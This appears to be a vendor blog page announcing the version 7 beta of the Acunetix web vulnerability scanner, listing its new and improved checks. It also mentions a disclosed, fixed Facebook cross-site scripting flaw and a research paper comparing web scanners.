It has been one long year of development, testing and late nights at the office, though it was all worth it, and the results speak for themselves!  Most of the core components have been rewritten, such as the crawler, scanner, vulnerability checks and the HTTP stack.  Acunetix WVS Version 7 is around 75% faster and more intelligent scanner than its predecessors.  Most of the web vulnerability checks have been migrated from VulnXML format to Scripts.  This allows us to have more advanced and flexible security checks, while reducing false positives.  It is also easier for you to develop your own web vulnerability checks.  Version 7 also includes much more meticulous web security tests, some of which were not possible before.

If you are interested in testing the new BETA of Version 7, and you already own an Acunetix WVS Enterprise or Consultant license with a valid maintenance agreement, contact us at beta@acunetix.com.

The FREE version of Acunetix WVS Version 7 BETA can be downloaded from here

The new features of Version 7 are:

• A new revolutionary and intelligent scanning engine
  • Detection of a wide range of new web vulnerability types
  • No more ‘brute force style’ vulnerability checks
  • Consumes less bandwidth
• Less False Positives and False Negatives reported
  • Website parameters are thoroughly analyzed to understand their purpose
  • A Number of thorough checks are launched before vulnerabilities are reported
  • Human like vulnerability verifying techniques
• Scriptable Vulnerabilities
  • More flexible and advanced web security checks
  • Easier to script own vulnerabilities
  • Faster processing
• Consolidation of reported vulnerabilities
  • Different variants of the same vulnerability are consolidated under one detailed report
  • Presenting the problem to developers in a more precise and understandable way
  • Facilitates prioritization and coordination of vulnerability remediation
• Advanced analysis of website presentation layer
  • Less chances of breaking down a website because of a security scan
  • Ability to automatically submit the correct data in web forms
• A whole variety of new vulnerability checks
  • Stored SQL injection
  • Stored File Inclusion
  • Stored Directory Traversal
  • Stored Code Execution
  • Stored File Tampering
  • More advanced WebDav auditing checks
  • Automated form based authentication auditing (e.g. tests to check if credentials can be brute forced, for common username and passwords etc)
  • Test for SQL Injection In URI
• New Scan Status Interface
  • Graphical presentation of scan status
  • Granular explanation of current running tasks
  • Ability to capture more information at a glance
• Re-Scan capabilities
  • Right click a reported vulnerability and relaunch the test
  • No need to rerun a whole crawl and scan to verify fixes
  • Saves time in verifying corrections
• Ability to specify label or tag instead of actual parameter name in input fields settings node
• Option to automatically randomize input for parameters specified in Input Fields settings node
• New well known web applications (e.g. WordPress) finger printing module

Major improvements in Version 7:

• Drastically improved Web 2.0 applications support
  • Better handling and parsing of JSON and XML requests and responses, and other similar Web 2.0 technologies
• Improved Session Management
• Improved HTTP Sniffer / Manual crawling process
  • Support for a wider variety of content-types
  • Support for Web 2.0 requests and responses e.g. JSON, XML etc
• Improved network traffic handling
  • Support for HTTP Keep-alive
  • DNS Caching helps in reducing multiple DNS requests
  • Ability to control delay between requests
  • Faster handling of traffic
• HTTP Authentication
  • Support for Digest HTTP authentication mechanism
  • Crawler supports more than a single pair of HTTP credentials for the same host
  • HTTP Authentication settings are now shared between all Acunetix WVS tools
  • Granular specification of credentials (per server, directory or file)
    New HTTP Authentication settings node
• Site Crawler
  • Supports a wider variety of communication mechanisms
  • Improved handling and detection of links and input parameters
  • Faster crawling of websites
• Improved XSS Detection rate
• Improved web server security auditing techniques for source code disclosure, directory listing and directory traversal checks
• Drastically improved file upload security checks
• Improved DNS auditing scripts
• Improved security checks for old, backup files and other similar file checks

Acunetix VWS Version 7 documentation

The Acunetix WVS Version 7 user manual is available in PDF Format and also in HTML Format.

With the introduction of scripting, a Getting Started guide / SDK is available to help you understand how the new vulnerability checks are implemented in Acunetix WVS, and to help you write your own scripts / security checks.  We also developed a new tool, ‘WVS Scripting’, to help you writing your own scripts and testing them.  You can download the documentation and tool from the following location; http://www.acunetix.com/download/tools/Acunetix_SDK.zip.

At a later stage, a more detailed SDK and ‘WVS Scripting’ tool documentation will also be released.

The below video shows how an attacker may exploit a cross-site scripting vulnerability on Facebook.com regardless of the HTTPOnly cookie protection used. Of course, this goes way beyond showing an “alert()” popup in Javascript, since the attacker is also able to hijack the victim’s Facebook account. We also published an article to explain in more technical detail the works behind abusing this Cross-Site scripting vulnerability on Facebook.

Click here for high quality version of this video (opens a new window)

We worked with Facebook to make sure that this vulnerability is fixed. We would like to thank their security team for quickly fixing it.

Acunetix Web Vulnerability Scanner

“In comparison, our work, to the best of our knowledge, performs the largest evaluation of web application scanners in terms of the number of tested tools (eleven, both commercial and open-source), and the class of vulnerabilities analyzed. In addition, we discuss the effectiveness of different configurations and levels of manual intervention, and examine in detail the reasons for a scanner’s success or failure.”

“we decided to create our own test application, called WackoPicko. It is important to note that WackoPicko is a realistic, fully functional web application.  As opposed to a simple test application that contains just vulnerabilities, WackoPicko tests the scanners under realistic conditions. To test the scanners’ support for clientside JavaScript code, we also used the open source Web Input Vector Extractor Teaser (WIVET). WIVET is a synthetic benchmark that measures how well a crawler is able to discover and follow links in a variety of formats, such as JavaScript, Flash, and form submissions.”

Download the paper “Why Johnny Can’t Pentest: An Analysis of Black-box Web Vulnerability Scanners” from here.